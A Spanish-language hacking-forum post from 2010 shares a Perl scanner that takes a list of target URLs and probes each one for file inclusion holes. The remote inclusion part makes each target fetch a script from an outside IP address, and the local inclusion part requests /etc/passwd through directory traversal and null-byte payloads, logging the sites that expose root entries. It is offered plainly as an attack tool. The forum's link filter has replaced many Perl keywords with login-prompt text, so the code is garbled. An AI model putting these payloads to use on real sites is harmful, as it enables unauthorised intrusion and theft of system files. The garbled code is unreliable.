comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Scaner RFI and LFI by D4NB4R

  • 0 Respuestas
  • 1804 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado dracko.rx

  • *
  • Underc0der
  • Mensajes: 247
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • http://rax0rnet.blogspot.com/
    • Email
« en: Febrero 25, 2010, 11:52:46 am »
bue aki les dejo un scaner espero sirva

Código: Perl
  1. #!/usr/bin/perl -w
  2. #######################################
  3. #
  4.  
  5. #     * coded by : D4NB4R
  6.  
  7. #
  8.  
  9. #     * Contact: d4nb4r@hotmail.com
  10.  
  11. #
  12.  
  13. #     * Greetz :  Pandora's Box Team  ; CCT TEAM ; Remoteexecution ; Clubhacker ; E-r00t ; Mitm
  14.  
  15. ########################################
  16. #------------------------------------------------------------------------------------#
  17. ########################################
  18. use LWP::UserAgent;
  19. use HTTP::Request;
  20. use LWP::Simple;
  21. ########################################
  22. #------------------------------------------------------------------------------------#
  23. ########################################
  24. $sis="eq linux";
  25. $cmd="clear";
  26. $cmd="cls";
  27. You are not allowed to view links. Register or Login("$cmd");
  28. ########################################
  29. #------------------------------------------------------------------------------------#
  30. ########################################
  31. You are not allowed to view links. Register or Login "                                            \n";
  32. You are not allowed to view links. Register or Login "       ---------------------------------------------------- \n";
  33. You are not allowed to view links. Register or Login "      |                                            *       | \n";
  34. You are not allowed to view links. Register or Login "      |  ****   *   *   * *****  ***** ****     *  *  **** |            \n";
  35. You are not allowed to view links. Register or Login "      |  *  *  * *  **  *  *   * *   * *   *   * *   *     | \n";
  36. You are not allowed to view links. Register or Login "      |  **** * * * * * *  *   * *   * * **   * * *   ***  | \n";
  37. You are not allowed to view links. Register or Login "      |  *    *   * *  **  *   * *   * *   *  *   *      * |  \n";
  38. You are not allowed to view links. Register or Login "      |  *    *   * *   * *****  ***** *    * *   *  ***** |    \n";
  39. You are not allowed to view links. Register or Login "       ----------------------------------------------------     \n";
  40. You are not allowed to view links. Register or Login "                       :::Options:::\n\n";
  41. You are not allowed to view links. Register or Login "                      1.  RFI  2.  LFI\n";
  42. ########################################
  43. #------------------------------------------------------------------------------------#
  44. ########################################
  45. You are not allowed to view links. Register or Login ":::Option::: ";
  46. ########################################
  47. #------------------------------------------------------------------------------------#
  48. ########################################
  49. my $option=<STDIN>;
  50. if ($option==1){&RFI}
  51. if ($option==2){&LFI}
  52. ########################################
  53. #------------------------------------------------------------------------------------#
  54. ########################################
  55. #######
  56. # RFI #
  57. ###############################################
  58. #------------------------------------------------------------------------------------#
  59. ########################################
  60. sub RFI {
  61. #
  62. You are not allowed to view links. Register or Login "\n----------------------------------------------------\n";
  63. You are not allowed to view links. Register or Login "|                       RFI                        |\n";
  64. You are not allowed to view links. Register or Login "----------------------------------------------------\n";
  65. You are not allowed to view links. Register or Login "\Introdusca el .txt donde esta la url a escanear\n";
  66. ###############################################
  67. #------------------------------------------------------------------------------------#
  68. ########################################
  69. $lista=<STDIN>;
  70. You are not allowed to view links. Register or Login($lista);
  71. #
  72. You are not allowed to view links. Register or Login("$cmd");
  73. #
  74. You are not allowed to view links. Register or Login "...Escaneando...\n\n";
  75. #
  76. You are not allowed to view links. Register or Login(LISTA, "$lista");
  77. while(<LISTA>) {
  78. #
  79. my $lista = $_;
  80. You are not allowed to view links. Register or Login $lista;
  81. #
  82. my $rfi= "http://63.247.72.196/cmd?";
  83. #
  84. my $url=$lista.$rfi;
  85. #
  86. my $req=HTTP::Request->new(GET=>$url);
  87. my $ua=LWP::UserAgent->new();
  88. $ua->timeout(20);
  89. my $resposta=$ua->request($req);
  90. #
  91. if($resposta->content =~ /pandora's/){
  92. You are not allowed to view links. Register or Login "[+] * Encontrado * $url\n";
  93. You are not allowed to view links. Register or Login(a, ">>RFI.txt");
  94. You are not allowed to view links. Register or Login a "$url\n";
  95. You are not allowed to view links. Register or Login(a);
  96.   }else{ You are not allowed to view links. Register or Login "[-] * No vulnerable * $url\n"; }
  97. }
  98. ###############################################
  99. #------------------------------------------------------------------------------------#
  100. ########################################
  101. }
  102. #
  103. #######
  104. # LFI #
  105. ###############################################
  106. #------------------------------------------------------------------------------------#
  107. ########################################
  108. sub LFI {
  109. #
  110. You are not allowed to view links. Register or Login "\n----------------------------------------------------\n";
  111. You are not allowed to view links. Register or Login "|                       Lfi                        |\n";
  112. You are not allowed to view links. Register or Login "----------------------------------------------------\n";
  113. #
  114. You are not allowed to view links. Register or Login "introdusca el .txt donde esta la url a escanear\n\n";
  115. ###############################################
  116. #------------------------------------------------------------------------------------#
  117. ########################################
  118. You are not allowed to view links. Register or Login($lista = <STDIN>);
  119. #
  120. You are not allowed to view links. Register or Login("$cmd");
  121. #
  122. You are not allowed to view links. Register or Login "....Escaneando....\n\n";
  123. #
  124. You are not allowed to view links. Register or Login(LISTA, "$lista");
  125. while(<LISTA>) {
  126. #
  127. my $lista = $_;
  128. You are not allowed to view links. Register or Login $lista;
  129. #
  130. @lfi= ('/etc/passwd',
  131.        '/etc/passwd%00',
  132.        '../../../../../../../../../../../../../../../etc/passwd',
  133.        '../../../../../../../../../../../../../../../etc/passwd%00');
  134. #
  135. foreach $bug(@lfi){
  136. #
  137. my $url=$lista.$bug;
  138. #
  139. my $req=HTTP::Request->new(GET=>$url);
  140. my $ua=LWP::UserAgent->new();
  141. $ua->timeout(10);
  142. my $response=$ua->request($req);
  143. #
  144. if($response->content =~ /root:x:/ ||
  145. $response->content =~ /root:*:/ ||
  146. $response->content =~ /root:!:/){
  147. You are not allowed to view links. Register or Login "[+] * Encontrado * $url\n";
  148. You are not allowed to view links. Register or Login(a, ">>LfI.txt");
  149. You are not allowed to view links. Register or Login a "$url\n";
  150. You are not allowed to view links. Register or Login(a);
  151. }else{
  152. You are not allowed to view links. Register or Login "[-] * No Vulnerable * $url\n";}
  153.   }
  154. }
  155. }
  156. ########################################
  157. #-------------------Scaner by D4NB4R --------------------#
  158. ########################################
« Última modificación: Agosto 16, 2014, 10:27:44 am por Expermicid »
Venta de diseños - Contactar por MP

You are not allowed to view links. Register or Login

 

¿Te gustó el post? COMPARTILO!



Port Scaner By _84kur10_ & JxE-13

Iniciado por dracko.rx

Respuestas: 0
Vistas: 1468
Último mensaje Febrero 25, 2010, 11:41:51 am
por dracko.rx